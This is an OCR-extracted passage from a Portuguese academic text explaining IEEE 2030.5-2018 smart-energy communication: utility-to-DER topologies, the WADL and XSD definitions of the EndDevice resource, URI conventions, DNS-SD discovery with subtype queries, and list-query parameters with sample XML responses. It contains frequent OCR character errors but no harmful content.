unidade DER utilizando o SMCU que é um componente que prové a comunicacao fazendo
uso do TEEE 2030.5-2018. O SMCU pode ser integrado & DER formando um conjunto

tnico conforme mostrado na Figura 3.4-(A). Ele também pode ser externo. Sendo externo,

ISMCU e GFEMS sio termos utilizados no California’s Rule 21
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Figura 3.4: Comunicagao entre concessionaria e DERs usando SMCU e GFEMS. (adap-
tado de [15]).

a comunicacao entre o SMCU e a DER pode fazer uso de outros padroes ou protocolos

os quais estao fora do escopo do CSIP conforme mostrado na Figura 3.4-(B).

Ja no segundo caso, a concessionaria se comunica com uma ou mais DERs por meio
de um GFEMS, que é basicamente um dispositivo controlador que possui um SMCU
integrado e controla as DERs que estao conectadas a ele. A comunicacao entre a con-
cessionaria e o GFEMS usa o IEEE 2030.5-2018. No entanto, a comunicagao entre o
GFEMS e as DERs utiliza padroes ou protocolos proprietarios fora do escopo do CSIP,
conforme mostrado na Figura 3.4-(C). Embora na tltima arquitetura possa haver mais
de uma DER sendo controlada e gerenciada pelo GFEMS, para a concessionaria, todas

as DERs aparecem como uma tinica DER.

Deve-se notar que a nocao de DER para o CSIP é um conceito l6gico onde geralmente
um ou mais inversores fisicos sao agrupados e operam como um sistema tnico tendo um
ponto em comum de agregagao dos mesmos seguido de um ponto tnico de acoplamento

com a concessionaria [15].

Na comunicagao via agregador, a concessionaria comunica-se com um sistema de con-
trole e gerenciamento agregador em vez de diretamente com as DERs [15]. A comunica-
¢ao entre o agregador e os diversos dispositivos conectados a ele pode fazer uso do IEEE
2030.5-2018 ou de qualquer outro protocolo/padrao de comunicagao, incluindo protocolos
proprietarios, conforme mostrado na Figura 3.5. J& a comunicagao entre a concessionaria
e o agregador usa IEEE 2030.5-2018. O agregador atua como um tradutor e retransmis-

sor de informacgoes. Ele converte as informagoes e comandos recebidos da concessionaria
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Figura 3.5: Comunicagao entre concessionaria e DERs usando agregador. (adaptado
de [15]).

no protocolo/padrao usado pela DER de destino e, em seguida, retransmite as informa-
¢oes/comandos. Quando a DER envia informagoes para a concessionaria, o agregador, ao
receber a informacao, faz a traducao inversa e, logo apés, a retransmite para a concessi-
onéria. Ao contrario da arquitetura com GFEMS, cada DER conectada ao agregador é

vista e reconhecida de forma individual pela concessionéria.

Com as diferengas e especificidades de cada topologia, a escolha da mais adequada a
se utilizar para conexao de uma DER depende das necessidades e dos requisitos de cada

concessionaria.



Capitulo 4

Arquitetura do IEEE 2030.5-2018

O IEEE 2030.5-2018 define uma camada de aplicacao no topo da pilha de protocolos

TCP/IP para permitir que as concessionarias gerenciem o ambiente de energia dos usué-

rios finais, incluindo resposta a demanda e controle de carga, preco em determinado

horario do dia, gerenciamento de geracao de energia distribuida e suporte a veiculos elé-

tricos |

|. Além disso, o padrao fornece suporte total ao IEEE 1547 |

|, que é um padrao

para interconectar recursos distribuidos com sistemas de energia elétrica. O padrao tam-

bém define os mecanismos a serem utilizados para a troca de mensagens da aplicacao e

os recursos de seguranca utilizados para proteger tais mensagens. A Figura 4.1 apresenta

uma pilha TCP/IP com a referida camada de aplica¢ao no topo.

I

1

! Fatura Pré-pagamento Reserva Eluxo DER
| Energia

| Resposta a

!| demandae Medicio brece S
! controle de ¢ ¢ g
! carga

| XML I

|

1

TLS/SSL
‘ TCP UDP
1P
IEEE IEEE IEEE
802.11 802.15.4 802.3

— Usuario

Figura 4.1: Arquitetura da pilha IEEE 2030.5-2018 [13]

Alguns dos elementos que compoem o IEEE 2030.5-2018 sao originados de outros
padroes, como IEC 61968 e IEC 61850. O IEC 61968 é uma série de padroes que se desti-



4 Arquitetura do IEEE 2030.5-2018 21

nam a facilitar a integragao entre sistemas de distribuigao de eletricidade [12]. O padrao
IEC 61850 define protocolos, topologias e requisitos de comunicacao para automacao e
prote¢ao em subestagoes de transmissao e distribuigao elétrica [12]. O IEC 61850 tam-
bém ¢ um protocolo que pode ser utilizado no gerenciamento de uma DER. No entanto,
enquanto o IEEE 2030.5 é mais relacionado com o lado do usuario final, promovendo o
controle e gerenciamento dos dispositivos inteligentes — incluindo a DER —, o IEC 61850
é mais relacionado com as necessidades e o ambiente da concessionaria, principalmente o
ambiente de subestagoes de energia elétrica. Outra diferenca esta no fato de que o IEC
61850 nao inclui nativamente autenticagao nem seguranga na comunicac¢ao, enquanto que

o IEEE 2030.5 inclui ambas.

O padrao define as propriedades e atributos dos dispositivos que podem ser mani-
pulados. Tais propriedades e atributos sao conhecidos como ‘“recursos”. Leitura de me-
didores e eventos de resposta a demanda sao exemplos de recursos. Os recursos podem
ser agrupados em conjuntos logicos denominados “conjuntos de fung¢oes”. Cada conjunto
de fungoes representa um conjunto minimo de comportamentos e funcionalidades de um
dispositivo [68]. Os dispositivos inteligentes podem implementar um ou mais conjunto de
fungoes. Por exemplo, preco da tarifa e medigao sao conjuntos de fungdes que podem ser

utilizados em um medidor elétrico inteligente.

Os recursos sao disponibilizados por meio de uma interface Representational State
Transfer (RESTful) [22] — que é um modelo cliente-servidor — sobre o Hypertext Transfer
Protocol (HTTP) e sdo manipulados através dos métodos GET, HEAD, PUT, POST e
DELETE. Os clientes acessam os recursos disponibilizados pelos servidores via Uniform
Resource Identifier (URI) e realizam operagoes como leitura, escrita, criacao e dele¢ao

por meio dos métodos.

Por fazer uso do HTTP, toda a comunicacao no IEEE 2030.5-2018 é realizada impli-
citamente por meio de Transmission Control Protocol (TCP), que fornece troca de dados
confiavel entre os envolvidos. Além disso, o HT'TP também permite o transporte de meta-
dados tais como “content coding” e “media types” que fornecem a camada de aplicacao

informagoes tteis sobre a interpretacao dos dados [34].

Em se tratando dos cabecalhos do HTTP, devido as restricoes presentes nos dispo-
sitivos — principalmente restrigoes de hardware — nem todos os cabegalhos devem ser
utilizados. O padrao classifica os cabecalhos HT'TP, quanto a utilizagao, em: obrigato-
rios, opcionais e desencorajados. A Tabela 4.1 apresenta os cabecalhos classificados como
obrigatorios pelo IEEE 2030.5-2018.
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Tabela 4.1: Classificagao dos cabegalhos HT'TP

Cabecalho HTTP Tipo de mensagem Classificagao

Accept Requisicao Obrigatorio
Allow Resposta Obrigatorio
Content-Type Requisi¢ao/Resposta Obrigatorio
Date Requisigao/Resposta Obrigatoério
Host Requisicao Obrigatorio
Location Resposta Obrigatorio

Para dar suporte a interface RESTful, o padrao IEEE 2030.5-2018 apresenta dois ma-
teriais suplementares: o IEEE 2030.5 XML Schema Definition (disponivel na forma do ar-
quivo sep.xsd) e o IEEE 2030.5 WADL (disponivel na forma do arquivo sep_wadl.xml).
O sep.xsd especifica um formato eXtensible Mark-up Language (XML) para que os dis-
positivos IEEE 2030.5 possam representar seus recursos, atributos, elementos e suas des-
crigoes textuais. J& o sep_wadl.xml contém as estruturas de URI recomendadas para o

acesso a tais propriedades e os métodos HT'TP associados.

4.1 Web Application Description Language

O Web Application Description Language (WADL) é um vocabulario XML usado para
descrever servicos RESTful. Um arquivo WADL descreve uma requisicao HT'TP legitima,
ou seja, quais URIs estao diponiveis para acesso, quais dados sao esperados por essas URIs
e quais dados elas podem retornar. Um cliente genérico qualquer pode ler um arquivo

WADL e ser imediatamente capaz de utilizar os servicos RESTful [34].

A interface RESTful do IEEE 2030.5-2018 ¢é definida pelo sep_wadl.xml. O padrao
adota tanto o XML quanto o Efficient XML Interchange (EXI) — que é uma representagao
compacta do XML — como possiveis codifica¢oes para o payload das operagoes RESTful.
No entanto, é requerido que o lado do servidor implemente ambas as codificagoes, enquanto
o lado do cliente pode implementar qualquer uma. Uma das vantagens do formato XML

é que ele pode ser lido por humanos e maquinas com relativa facilidade.

Dependendo do formato de codificacao utilizado, as respostas usam de dois tipos

possiveis de “ Content-Type”:

e application/sep+xml

e application/sep-exi
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Quando usado o application/sep-exi, um nivel (“level”) de extensibilidade deve ser
especificado no cabecalho “Accept” para negociacao da versao do schema. Esse level
define a base do schema e sua capacidade para extensao arbitraria. O level pode ser
-S1 ou +S1. Em ambos os casos, S1 indica a versao do schema base: IEEE 2030.5-
2018. Entretanto, -S1 indica que tags que nao sao definidas no schema base nao sao
aceitas, enquanto +S1 indica que tags arbitrarias sao aceitas. Todas as representacoes
dos recursos sao validadas de acordo com o schema padronizado de namespace XML

(urn:ieee:std:2030.5:ns).

Por exemplo, o cabegalho “Accept: application/sep-exi; level=-S1” indica que
o cliente deseja receber o contetido codificado usando EXI onde o schema base do cliente

¢ o IEEE 2030.5-2018 e ele nao aceita tags arbitrarias nao definidas no schema.

As operagoes HTTP para cada recurso sao classificadas no sep_wadl.xml de acordo

com se sao ou nao recomendadas para a implementacao. As possiveis classificagoes sao:

e Obrigatorias (Mandatory - “M’): devem ser implementadas de acordo com o espe-
cificado.
e Opcionais (Optional - ‘0”’): podem ser implementadas e, caso sejam, devem ser

conforme especificado.

e Desencorajadas (Discouraged - “D’’): nao devem ser implementadas, mas, caso

sejam, devem ser conforme especificado.

e Erro (Error - “E”): devem ser implementadas retornando um codigo de status

especifico.

A Figura 4.2 apresenta o trecho do sep_wadl.xml referente ao recurso EndDevice.
Tal recurso contém informacgoes proprias e individuais de cada dispositivo na rede. De

forma resumida;:

e Amostra de URI: /edev/{id1}

e Representacao da requisicao: EndDevice
e Representacao da resposta: EndDevice
e Métodos:

— GET/HEAD: Obrigatorio (M);
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— PUT: Opcional (O);
— POST: Error (E);
— DELETE: Opcional (O);

Nota-se tanto a estrutura da URI para acesso ao recurso quanto a referida recomendagao
dos métodos HTTP, sendo que o método POST deve retornar um dos codigos especificados

(e.g., 400 Bad Request ou 405 Method Not Allowed).

] <resource id="EndDevice" wx:samplePath="/edev/{id1l}">

2 <doc title="EndDevice">End device instance.</doc>

3 <method id="GETEndDevice" name="GET" wx:mode="M">

4 <response>

5 <representation mediaType="application/sep+xml" element="sep:EndDevice" />
6 <representation mediaType="application/sep-exi" element="sep:EndDevice" />
7 </response>

8 </method>

9 <method id="HEADEndDevice" name="HEAD" wx:mode="M"/>
10 <method id="PUTEndDevice" name="PUT" wx:mode="O">

1 <request>
12 <representation mediaType="application/sep+xml" element="sep:EndDevice"/>
13 <representation mediaType="application/sep-exi" element="sep:EndDevice"/>
14 </request>
15 </method>
16 <method i1d="POSTEndDevice" name="POST" wx:mode="E">
17 <request>
18 <representation mediaType="application/sep+xml" element="sep:EndDevice"/>
19 <representation mediaType="application/sep-exi" element="sep:EndDevice" />
20 </request>
21 <response status="400"/>
22 <response status="405"/>
23 </method>
24 <method id="DELETEEndDevice" name="DELETE" wx:mode="0">
25 <response>
26 <representation mediaType="application/xml" element="sep:EndDevice"/>
27 </response>
28 </method>
29 <wx:sampleParam name="idl" style="template" type="idType"/>
30 </resource>

Figura 4.2: Recurso EndDevice - sep_wadl.xml

4.2 XML Schema Definition

Um XML Schema Definition (XSD) é uma linguagem para expressar restrigoes sobre
documentos XML. O objetivo de um XSD é definir os blocos de construgoes legais de um

documento XML [34].

Tecnicamente, um schema é uma colecao abstrata de metadados consistindo em um
conjunto de componentes, principalmente declaragoes de elementos e atributos e defini¢ao
de tipos simples e complexos. Além disso, ele permite que o contedo do documento XML

seja tratado como objeto dentro do ambiente de programacao [31].
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No IEEE 2030.5-2018, o sep.xsd é o documento base de validagao utilizado para
verificar se um XML esta em conformidade ou nao. Nele, estao contidas as defini¢oes dos
recursos, atributos, elementos e as descri¢oes textuais. A Figura 4.3 apresenta o trecho

do arquivo sep.xsd referente ao recurso “ EndDevice”.

1 <xs:complexType name="EndDevice">
2 <xs:annotation>
3 <xs:documentation>Asset container that performs one or more end device
functions. Contains information about individual devices in the
network.</xs:documentation>
</xs:annotation>
<xs:complexContent>
<xs:extension base="AbstractDevice">
<xXs:sequence>
<xs:element name="changedTime"
minOccurs="1"
maxOccurs="1"
type="TimeType">
<xs:annotation>
<xs:documentation>The time at which this resource was last
modified or created.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element name="enabled"
minOccurs="0"
maxOccurs="1"
type="xs:boolean">
<xs:annotation>
<xs:documentation>This attribute indicates whether or not an
EndDevice is enabled, or registered, on the server. If a
server sets this attribute to false, the device is no longer
registered. It should be noted that servers can delete
EndDevice instances, but using this attribute for some time
is more convenient for clients.</xs:documentation>
</xs:annotation>
</xs:element>
<xs:element name="FlowReservationRequestListLink"
type="FlowReservationRequestListLink"
minOccurs="0"
maxOccurs="1"/>
<xs:element name="FlowReservationResponseListLink"
type="FlowReservationResponseListLink"
minOccurs="0"
maxOccurs="1"/>
<xs:element name="FunctionSetAssignmentsListLink"
type="FunctionSetAssignmentsListLink"
minOccurs="0"
maxOccurs="1"/>
<xs:element name="RegistrationLink"
type="RegistrationLink"
minOccurs="0"
maxOccurs="1"/>
<xs:element name="SubscriptionListLink"
type="SubscriptionListLink"
minOccurs="0"
maxOccurs="1"/>
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Figura 4.3: Recurso EndDevice - sep.xsd

Nela, é possivel notar a defini¢do do tipo complexo (<xs:complexType>) e dos ele-
mentos (<xs:element>) que o compoem. A Tabela 4.2 apresenta, de forma consolidada,

os elementos e os seus respectivos tipos.
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Tabela 4.2: Tipos dos elementos do recurso EndDevice - sep.xsd

Elemento Tipo
changedTime TimeType
enabled xs:boolean

FlowReservationRequestListLink  FlowReservationRequestListLink
FlowReservationResponseListLink FlowReservationResponseListLink
FunctionSetAssignmentsListLink ~ FunctionSetAssignmentsListLink
RegistrationLink RegistrationLink
SubscriptionListLink SubscriptionListLink

4.3 Uniform Resource Identifier

Um Uniform Resource Identifier (URI) é uma compacta sequéncia de caracteres que
permite identificar unicamente um recurso [5]. A URI identifica um recurso pela sua

localiza¢ao, pelo nome ou por ambos.

A identificagao feita pela localizagao é denominada Uniform Resource Locator (URL).
Ela especifica onde o recurso pode ser encontrado e o mecanismo para acesso ao mesmo.
Ja a identificagao feita pelo nome é denominada Uniform Resource Name (URN). Ela
identifica unicamente um recurso pelo nome em um determinado namespace independente
da localizagao. Sendo assim, URL e URN sao tipos de URI. Um exemplo pratico para
URL sao os enderecos web, onde é possivel identificar o protocolo de acesso — geralmente
HTTP — e a localizagao do recurso a ser acessado. Ja para URN, um exemplo seria o

International Standard Book Number (ISBN) que é utilizado para identificar livros.

O IEEE 2030.5-2018 define diretrizes gerais para a alocacao de URIs aos recursos a
fim de equilibrar a eficiéncia — i.e., através de enderecos curtos — e inteligibilidade. Os

elementos que constituem a parte do caminho URI devem:

e ter no maximo 4 caracteres;
e ser escritos em letras mintsculas;

e ser constituidos basicamente de consoantes, a menos que o uso de vogal acrescente

maior clareza; e

e a URI como um todo nao deve ter mais de 255 bytes (na pratica elas tém menos de
80 bytes).

Os recursos do padrao possuem [links para seus recursos subordinados a fim de pro-

mover flexibilidade e extensibilidade futura. Portanto, as URIs para acesso aos recursos
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nos dispositivos nao sao fixas. Sendo assim, é possivel recuperar a URI apropriada de
um recurso por meio da descoberta de recursos ou por meio de links em outros recursos
ja acessados. Como nao hé garantia de que todos os dispositivos tenham acesso a um
Domain Name System (DNS), as URIs devem usar apenas nomes de dominio Eztended
Multicast DNS (xmDNS) [15].

4.4 Descoberta de Recursos

O IEEE 2030-2018 faz uso do DNS Service Discovery (DNS-SD) [13] para descobrir a
localizacao dos recursos e dos conjuntos de fungoes na rede. O DNS-SD usa o conceito de
Multicast DNS (mDNS) [14] o qual realiza consultas DNS na rede local na auséncia de
um servidor DNS dedicado.

A definicao do DNS-SD especifica que um par de registros DNS SRV e TXT sao uti-
lizados para descrever instancias de um servigo em um dado dominio. Servigo ¢ definido
como uma instancia de uma aplicagao unicamente identificada por host, porta e proto-
colo. Ambos os registros possuem a mesma forma “<Instance>.<Service>.<Domain>”
que é denominada Service Instance Name. O registro DNS SRV contém o hostname e
a porta do servigo. Ja o registro DNS TXT possui informagoes adicionais tal como ca-

minho relativo. No DNS-SD, a descoberta de instancias de um servico ¢é feita através de

Solicitante Dispositivo

Consulta PTR _myapp._tcp.local (mensagem multicast)

Resposta Alice._myapp._tcp.local
Resposta Bob._myapp._tcp.local

Consulta SRV/TXT Alice._myapp._tcp.local

Resposta Alice._myapp._tcp.local SRV <Porta> Alice.local
Resposta Alice._myapp._tcp.local TXT ‘‘informagSes extras’

Consulta endereco IP de Alice.local
Resposta <Enderego IP> de Alice.local U
e

Conecta <Enderego IP> + <Porta>

Resposta da solicitacao de conexao U

Figura 4.4: Fluxo DNS-SD para localizar instancia de um servigo
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consultas a registros DNS PTR. A consulta segue a forma “<Service>.<Domain>". O
retorno a essa consulta pode ser um conjunto de zero ou mais pares de registros DNS
SRV/TXT. A Figura 4.4 apresenta um exemplo. Inicialmente ¢ feita uma consulta mul-
ticast DNS PTR para encontrar as instancias na rede do servico denominado “myapp”.
A string utilizada na consulta é “_myapp._tcp.local”, onde “myapp” é o servigo, “tcp”
é o protocolo de transporte e “local” é o dominio. A resposta obtida sao duas instan-
cias: Alice._myapp._tcp.local e Bob._myapp._tcp.local. Consultando a instancia
Alice._myapp._tcp.local, obtém-se as informagoes dos registros DNS SRV /TXT. Com
a informacao do hostname — que no caso é Alice.local — é possivel realizar uma con-
sulta a fim de obter o endereco IP. De posse do endereco IP e da porta é possivel iniciar

uma conexao ao servico ‘‘myapp’’ disponibilizado por “‘Alice’’.

4.4.1 Instance

A distingao entre as instancias de um mesmo servigo disponibilizado na rede é feita por
meio da <Instance>. No exemplo anterior, o mesmo servico “myapp” possuia dois re-
cursos, um denominado “Alice. myapp. tcp.local” e o outro “Bob. myapp. tcp.local’.
Nesse caso, um possuia a <Instace> denominada “ Alice” e o outro “ Bob”. Os dispositivos
IEEE 2030.5-2018 que possuem recursos e conjuntos de fung¢oes a serem disponibilizados
na rede atribuem a <Instance> um nome tnico de até 63 bytes codificados em UTF-8,
para cada par de registros DNS SRV /TXT. Caso ocorram conflitos de nome, eles podem
ser resolvidos adicionando um niimero decimal inteiro entre paréntesis no nome atribuido

a <Instance>.

4.4.2 Service

A porgao relativa ao <Service> é composta pelo nome do servigo precedido por um sim-
bolo de underscore (_). No caso do IEEE 2030.5-2018, o nome do servigo é smartenergy.
Esse nome foi devidamente registrado na Internet Assigned Numbers Authority (IANA) [33].

Por exemplo, uma designacao vélida de Service Instance Name pode ser:

e device-000001111114._smartenergy._tcp.site.

onde “device-000001111114" é a porcao relacionada a <Instance>, “smartenergy” é o
nome do servigo, “tcp” é o protocolo de transporte e “site” é a porcao relacionada ao

<Domain>.
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4.4.3 Domain

A atuagao do mDNS é restrita a rede local sob o dominio ‘“.local”. Ja o xmDNS
expande a atuagao do mDNS para além da rede local com o uso de solicitagoes e respostas
multicast site-local sob o dominio (<Domain>) “.site”. Sendo assim, devido a ampliagao
do alcance das solicitagoes e respostas com o uso do xmDNS, ele é normativo para o
IEEE 2030.5-2018.

4.4.4 Registro DNS TXT

O registro DNS TXT permite o envio de informagoes adicionais aos solicitantes presentes
tanto dentro quanto fora do dominio. O registro pode ser usado para verificar propriedades
de dominio, informar caminho relativo, adicionar assinatura digital em e-mail e evitar
saida de spam. No caso do IEEE 2030.5-2018, o registro DNS TXT possui a finalidade

especifica de envio dos seguintes parametros:

e txtvers — deve ser o primeiro parametro no registro DNS TXT. Ele deve conter o
valor 1 e solicitagdes que apresentem o parametro com valor vazio ou diferente de 1

devem ser descartadas.

e dcap — fornece o caminho relativo do recurso que é usado para informar todos
os recursos que determinado dispositivo disponibiliza na rede. Deve sempre estar
presente com um valor nao vazio. Caso apresente um valor vazio, o registro DNS

TXT deve ser descartado.

e path — fornece o caminho relativo usado para localizar um recurso ou conjunto de

fungoes especifico em resposta a uma consulta de subtipo.

e https — usado para indicar se o recurso ou conjunto de fungoes requer conexao
segura para a troca de informacao. Caso um valor esteja presente, o solicitante deve

usar conexao segura na porta especificada pelo valor.

e level —usado para indicar nivel de extensibilidade do schema. Caso o valor presente
seja “-81”, indica que nao sao aceitas tags nao definidas no schema. Caso o valor

seja “+817, tags arbitrarias sao aceitas.

A Tabela 4.3 consolida e apresenta exemplos dos parametros do registro DNS TXT

que sao utilizados pelo padrao.
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Tabela 4.3: Parametros do registro DNS TXT

Parametro Exemplo
txtvers txtvers = 1
dcap dcap = /dcap
path path = /file
https https = 443

level level = -S1

4.4.5 Consulta de subtipo

Uma rede pode ser constituida por diversos dispositivos que disponibilizam os mais va-
riados recursos e conjuntos de fungoes. Fazendo uso do caminho relativo presente no
parametro “dcap” do DNS TXT é possivel acessar o recurso que tem por finalidade elen-
car todos os demais recursos e conjuntos de fungoes disponibilizados na rede pelo referido

dispositivo.

No caso dos conjuntos de fungoes, em vez de consultar dispositivo por dispositivo
a procura de um conjunto de fungoes em especifico, pode-se fazer uso de uma consulta
de subtipo. A consulta de subtipo é uma forma de filtrar os pares de registros DNS
SRV/TXT a serem retornados de acordo com o desejado. Por exemplo, todos os dis-
positivos IEEE 2030.5-2018 fazem uso do nome “smartenergy” na porcao de nome do
<Service>. (Caso um solicitante deseje encontrar o conjunto de funcoes que forneca
suporte a transferéncia de arquivos entre dispositivos IEEE 2030.5-2018 (denominado
“file”), em vez de consultar dispositivo por dispositivo a fim de encontrar o que for-
neca tal conjunto de fungoes, o solicitante pode fazer uma consulta de subtipo na forma

“file._sub._smartenergy._tcp.site.”

e apenas os dispositivos com tal conjunto de
funcgoes irao responder a consulta informando no parametro “path” do registro DNS TXT

o caminho relativo para acesso ao conjunto de fungoes requerido.

Para que isso seja possivel, cada conjunto de fungoes disponibilizado na rede por um
dispositivo deve ter um registro DNS PTR que devera corresponder a consulta realizada
por um solicitante, ou seja, as formas das consultas de subtipo e o registro DNS PTR
devem ser iguais. Cada conjunto de fungoes também deve ter um par de registros DNS
SRV /TXT, lembrando que ambos possuem a forma “<Instance>.<Service>.<Domain>".
No caso em especifico dos conjuntos de fungoes, o nome da <Instance> deve conter a
string de subtipo que identifica o conjunto de fung¢oes seguido de um hifen (-) e outra
string resistente a colisao. O padrao define algumas strings de subtipo para identificar os

conjuntos de funcoes. A Tabela 4.4 apresenta as strings definidas no padrao. No exem-
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Tabela 4.4: Strings de subtipo para conjunto de funcoes
Subtipo Conjunto de funcoes IEEE 2030.5-2018

bill Billing
derp Distributed Energy Resources

dr Demand Response and Load Control
edev End Device

file File Download

msg Messaging
mup Metering Mirror

PPy Prepayment

rSps Response
sdev Self Device

tm Time

tp Pricing

upt Metering

plo anterior, sendo “file” a string de subtipo que identifica o conjunto de fungoes para

download de arquivos, um possivel nome para <Instance> seria “file-000001111114"

e o par de registros DNS SRV/TXT referente a tal conjunto de fungdes possuiria a

forma “file-000001111114._smartenergy._tcp.site.”. A Figura 4.5 demonstra o

fluxo DNS-SD utilizando consulta de subtipo para a descoberta do conjunto de funcoes

“file”.

Solicitante

Dispositivo

Consulta PTR file._sub._smartenergy._tcp.site.

Resposta file-000001111114._smartenergy._tcp.site. U

Consulta SRV/TXT £ile-000001111114._smartenergy._tcp.site.

»

Resposta SRV <Porta> £file-000001111114.site.
Resposta TXT ‘‘txtvers=1; dcap=/dcap; path=/file;

https=443; level -S1”’

Consulta endereco IP de £ile-000001111114.site.

Resposta <Endereco IP> de £ile-000001111114.site. U

Conecta <Enderego IP>/file + 443

Resposta da solicitacao de conexao U

Figura 4.5: Fluxo DNS-SD para localizar conjunto de fungoes para download de arquivos
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Todos os registros DNS SRV possuem valores idénticos em um mesmo dispositivo. Eles
possuem o hostname e a porta padrao de conexao do HT'TP que é definida no schema.
Ja os registros DNS TXT diferem entre si pelos pardmetros presentes e o conteido de
cada um. No caso do exemplo apresentado na Figura 4.5, o parametro “https” informa
a necessidade de realizar conexao segura juntamente com a porta para acessar o conjunto
de fungoes. Ja o parametro “path” informa o caminho relativo onde o conjunto de fungoes

se encontra.

Em resumo, ha duas possibilidades para encontrar um conjunto de fungoes e conse-
quentemente um recurso (lembrando que conjunto de fungdes sdo agrupamentos 16gicos
de recursos): o solicitante pode realizar uma consulta usando ou ndo uma consulta de
subtipo. O que difere é que na consulta que nao faz uso de subtipo, o solicitante deve
elencar todos os conjuntos de funcoes disponibilizados pelos dispositivos para verificar
qual ou quais deles possuem o conjunto de fungoes desejado, enquanto que na consulta
de subtipo a resposta recebida jé identifica o dispositivo, porta e caminho relativo para

acesso ao conjunto de funcoes desejado.

4.5 Conjuntos de fungoes

Os conjuntos de fungoes sao agrupamentos logicos de recursos com propoésitos em comuns.
Um recurso é um objeto acessado por meio da interface RESTful que é disponibilizada
por um dispositivo. O IEEE 2030.5-2018 divide os conjuntos de fungoes em basicamente

trés categorias:

e Support Resources — conjuntos de fungoes que fornecem informacoes ou servigos
operacionais para gerenciar e oferecer suporte a operagao, tais como: descoberta de
servigos na rede, resposta as solicitagoes, consulta de dados e informagoes, servigos

de assinatura e notificacoes de eventos sobre recursos.

e Common Resources — conjuntos de fungoes que fornecem funcionalidade de pro-
posito geral, tais como: hora atual, informacoes sobre a interface de rede, status
de energia, servicos de registro de eventos, configuragao e servigos de download de

arquivos.

e Smart Energy Resources — conjuntos de fungoes que sao especificos do dominio
da Smart Energy, tais como: consulta do prego da energia em um determinado mo-

mento, agendamento para grandes demandas de fluxo de energia (e.g., carregamento
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Support Resources Smart Energy Resources
Device % Time } Demand Response
Capabilities and Load Control
Device 5
Self Device Information % Metering }
{ Power Status } % Pricing }
{ Network Status } % Messaging }
Assignments —
{ Log Event } % Billing }
Subscription/
Notification { Configuration J 4[ Prepayment }
% File Download } % Flow Reservation }
Distributed Energy
Resources

% Metering Mirror

Figura 4.6: Categorias e conjuntos de fungoes do IEEE 2030.5-2018

~—

de um carro elétrico), envio de informagoes de medicao, controle de gerenciamento
de recursos de energia distribuida, servicos de mensagens, provisao de custos, esti-
mativa e historico de consumo e provisao de servigos com base em crédito ou divida

pendente.

A Figura 4.6 exibe as trés categorias e seus respectivos exemplos de conjuntos de
fungdes que os integram. O Apéndice A apresenta de forma mais detalhada os conjuntos
de fungoes previsto no IEEE 2030.5-2018 juntamente com os recursos presentes em cada
um. Um conjunto de fun¢ao pode conter tanto um recurso individual como uma lista de
recursos. As listas de recursos sao conjuntos de recursos agrupados de forma ordenada.
Eles sao ordenados de acordo com os atributos que eles possuem em comum, conforme cri-
térios previstos no proprio IEEE 2030.5-2018. Esta ordem é importante porque é possivel
consultar os recursos que compoem uma lista filtrando-os de acordo com suas posigoes ou
valores das chaves. A sintaxe geral da consulta de recursos é {URI}?s={x}&a={y}&1={z},

onde:

e {URI} — representa o enderego da lista de recursos;

e s (“start”) — indica a posigao ordinal {z} do primeiro recurso a compor a lista de
resultados desejado. Composto de niimeros decimais e as posigoes sao contadas a

partir do indice 0;
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1 <MyTypeList href="http://hostl/the/list" all="7" results="7">

2

10
11
12
13
14
15
16
17
18
19
20
21
22

<MyType href="http://hostl/instance/of/type/red">
<timeStamp>100</timeStamp>

</MyType>

<MyType href="http://host2/instance/of/type/green">
<timeStamp>200</timeStamp>

</MyType>

<MyType href="http://host3/instance/of/type/blue">
<timeStamp>300</timeStamp>

</MyType>

<MyType href="http://host4/instance/of/type/yellow">
<timeStamp>400</timeStamp>

</MyType>

<MyType href="http://host5/instance/of/type/black">
<timeStamp>500</timeStamp>

</MyType>

<MyType href="http://host6/instance/of/type/white">
<timeStamp>600</timeStamp>

</MyType>

<MyType href="http://host7/instance/of/type/orange">
<timeStamp>700</timeStamp>

</MyType>

23 </MyTypeList>

Figura 4.7: Recurso MyTypeList

e o (“after”) — usado em listas que possuem timestamps como chave, indica que so-

mente atributos com datas posteriores a {y} sdo desejadas. Composto de um niimero
decimal de 64 bits;

e [ (“limit”) — indica o namero maximo {z} de itens que podem ser incluidos na lista

de resultados, sendo 1 (um) o padrao. Composto de namero decimal.

Uma consulta a uma lista de recursos também retorna os atributos all e results, sendo

que o primeiro indica o niimero total de itens que a lista possui originalmente e o segundo

informa o niimero de itens retornados na resposta da consulta.

Considere a lista apresentada pelo recurso MyTypeList conforme demonstrado na

Figura 4.7. Ela esta ordenada de forma ascendente com relagdo ao <timeStamp>. Alguns

exemplos de consultas podem ser realizadas a fim de demonstrar o uso dos parametros e

seus respectivos retornos. Por exemplo:

e Uma operagao GET em http://hostl/the/list?s=0&1=1 ird retornar:

1 <MyTypelList href="http://hostl/the/list" all="7" results="1">

2 <MyType href="http://hostl/instance/of/type/red">

3

<timeStamp>100</timeStamp>
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4 </MyType>
5 </MyTypeList>

e Uma operacao GET em http://hostl/the/1ist?s=0&1=5 ird retornar:

1 <MyTypelList href="http://hostl/the/list" all="7" results="5">
2 <MyType href="http://hostl/instance/of/type/red">

3 <timeStamp>100</timeStamp>

4 </MyType>

5 <MyType href="http://host2/instance/of/type/green">

6 <timeStamp>200</timeStamp>

7 </MyType>

8 <MyType href="http://host3/instance/of/type/blue">

9 <timeStamp>300</timeStamp>

10 </MyType>

11 <MyType href="http://host4/instance/of/type/yellow">

12 <timeStamp>400</timeStamp>

13 </MyType>

14 <MyType href="http://host5/instance/of/type/black">

15 <timeStamp>500</timeStamp>

16 </MyType>

17 </MyTypeList>

e Uma operacao GET em http://hostl/the/list?s=5&1=1 ira retornar:

1 <MyTypelList href="http://hostl/the/list" all="7" results="1">
2 <MyType href="http://host6/instance/of/type/white">

3 <timeStamp>600</timeStamp>

4 </MyType>

5 </MyTypeList>

e Uma operagao GET em http://hostl/the/list7a=400&1=4 ira retornar:
1 <MyTypelList href="http://hostl/the/list" all="7" results="3">
2 <MyType href="http://host5/instance/of/type/black">

3 <timeStamp>500</timeStamp>

4 </MyType>

5 <MyType href="http://host6/instance/of/type/white">

6 <timeStamp>600</timeStamp>

7 </MyType>

8 <MyType href="http://host7/instance/of/type/orange">

9 <timeStamp>700</timeStamp>

10 </MyType>

1 </MyTypeList>
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e Uma operacao GET em http://hostl/the/1ist?a=400&s=2&1=2 ira retornar:

1 <MyTypelList href="http://hostl/the/list" all="7" results="1">

2 <MyType href="http://host7/instance/of/type/orange">
3 <timeStamp>700</timeStamp>
4 </MyType>

5 </MyTypeList>

